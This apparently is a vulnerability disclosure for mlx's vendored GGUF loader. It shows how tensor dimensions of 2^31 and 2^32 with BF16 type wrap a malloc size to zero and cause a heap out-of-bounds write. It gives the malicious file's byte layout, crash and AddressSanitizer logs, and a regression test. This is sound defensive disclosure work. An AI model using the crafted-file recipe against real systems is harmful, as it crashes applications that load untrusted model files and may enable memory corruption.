[turingH]

Bug Report: GGUF dequantization malloc size integer overflow → heap out-of-bounds write (SIGSEGV)

1. tensor->num_weights is user-controllable

tensor->num_weights is the product of the tensor's dimensions in the GGUF file. The dimensions are byte-for-byte controllable uint64 values in the file, so num_weights is fully user-controlled.

Crafted malicious GGUF layout

offset  field                         value
0x00    magic                         "GGUF"
0x04    version (u32)                 3
0x08    tensor_count (u64)            1
0x10    metadata_kv_count (u64)       0
0x18    tensor name (gguf_string)     u64(len) + b"w"     (len=1)
0x21    ndim (u32)                    2
0x25    dim[0] (u64)                  <user-controlled>  = 2^31 = 2147483648
0x2d    dim[1] (u64)                  <user-controlled>  = 2^32 = 4294967296
0x35    type (u32)                    30  (GGUF_TYPE_BF16)
0x39    tensor data offset (u64)      0
...     32-byte alignment padding
        data section                  (arbitrary, e.g. 4 MiB)

Chain (num_weights → malloc argument = 0)

1. gguf_get_tensor() (vendored gguflib.c:284)
   tensor->num_weights *= *dim;
   → num_weights = 2^31 × 2^32 = 2^63 (uint64, does not overflow on its own).

2. BF16 has no "equivalent dtype", so load_arrays() routes it through
   extract_tensor_data() (mlx/io/gguf.cpp:99) → gguf_tensor_to_f16(tensor).

3. gguflib.c:956

   int16_t *f16 = malloc(tensor->num_weights * sizeof(int16_t));

   num_weights × sizeof(int16_t) = 2^63 × 2 = 2^64, which is
   0 modulo 2^64 in size_t, so the actual call is malloc(0).

Conclusion: with dims = [2^31, 2^32] and type = BF16(30), the malloc argument at gguflib.c:956 is 0.

(Note: tensor->bsize at gguflib.c:310 also wraps to 0 via the same num_weights × 2,
so the check_tensor_in_file() file-bounds validation added in v0.32.1 is bypassed as well.)

2. Continued writes → crash

malloc returns a tiny chunk, but the dequantization loop's write bound is the unwrapped num_weights (2^63):

• gguflib.c:965 gguf_bf16_to_float(weights_data, f16, tensor->num_weights, gguf_store_f16_callback);
• gguflib.c:530 f16[idx] = to_half(f);, idx ∈ [0, 2^63)

A total of 2^63 float16 elements = 2^64 bytes are written → heap out-of-bounds write → SIGSEGV (inside mx.load()).

Crash log (real machine, mlx 0.32.4)

dims = [2147483648, 4294967296]  (num_weights = 2^63)
file = 4194400 bytes, data section = 4194304 B at offset 96
malloc size = num_weights * sizeof(int16_t) = 2^64 (mod 2^64) = 0
dequant writes num_weights float16 values -> 18446744073709551616 bytes
loading '/var/folders/.../poc19_bf16_wrap.gguf' with the real mlx wheel ...

--- subprocess exit code -11 (negative == killed by signal) ---

POC-CONFIRMED: mx.load() killed by signal 11 (SIGSEGV) while dequantizing a BF16
tensor with num_weights=2^63 (malloc size wrapped to 0, loop wrote 2^64 bytes
into the tiny zone)

ASAN heap-buffer-overflow trace (Debug + AddressSanitizer, pointing to the exact write site)

==28861==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000002310
WRITE of size 2 at 0x602000002310 thread T0
    #0 gguf_store_f16_callback gguflib.c:530
    #1 gguf_bf16_to_float gguflib.c:911
    #2 gguf_tensor_to_f16 gguflib.c:965
    #3 mlx::core::extract_tensor_data(gguf_tensor*) gguf.cpp:99
    #4 mlx::core::load_arrays(gguf_ctx*) gguf.cpp:357
    #5 mlx::core::load_gguf(...) gguf.cpp:381
    #6 DOCTEST_ANON_FUNC_30() tests/load_tests.cpp:366

0x602000002311 is located 0 bytes after 1-byte region [0x602000002310,0x602000002311)
allocated by thread T0 here:
    #0 malloc
    #1 gguf_tensor_to_f16 gguflib.c:956
    #2 mlx::core::extract_tensor_data(gguf_tensor*) gguf.cpp:99
    ...

SUMMARY: AddressSanitizer: heap-buffer-overflow gguflib.c:530 in gguf_store_f16_callback

Key point: 0 bytes after 1-byte region — under ASAN, malloc(0) actually returns a 1-byte region,
and the very first WRITE of size 2 immediately overflows it, direct proof of "allocating 0 bytes but writing 2 bytes of data".
(The addresses vary between runs due to ASLR and can be ignored.)

3. Unit test + run commands

Test (in tests/load_tests.cpp, reusing the existing
write_raw_gguf_dims() helper):

TEST_CASE("test gguf tensor to f16 size overflow") {
  // A non-equivalent dtype (BF16) tensor whose element count times
  // sizeof(int16_t) overflows size_t. num_weights = 2^63 makes the
  // gguf_tensor_to_f16 malloc size wrap to 0 while the dequant loop still
  // writes 2^63 elements, a heap-buffer-overflow.
  const uint32_t bf16 = 30;
  std::string file_path = get_temp_file("test_gguf_f16_overflow.gguf");
  write_raw_gguf_dims(file_path, {1ull << 31, 1ull << 32}, bf16, 0);
  CHECK_THROWS_AS(load_gguf(file_path), std::runtime_error);
}

Run commands

Release build + run the single test:

cmake -S . -B build -DCMAKE_BUILD_TYPE=Release \
  -DMLX_BUILD_METAL=OFF -DMLX_BUILD_TESTS=ON
cmake --build build --target tests -j8
./build/tests/tests --test-case="test gguf tensor to f16 size overflow"

AddressSanitizer build:

cmake -S . -B build-asan -DCMAKE_BUILD_TYPE=Debug \
  -DMLX_BUILD_METAL=OFF -DMLX_BUILD_TESTS=ON -DUSE_ASAN=ON
cmake --build build-asan --target tests -j8
./build-asan/tests/tests --test-case="test gguf tensor to f16 size overflow"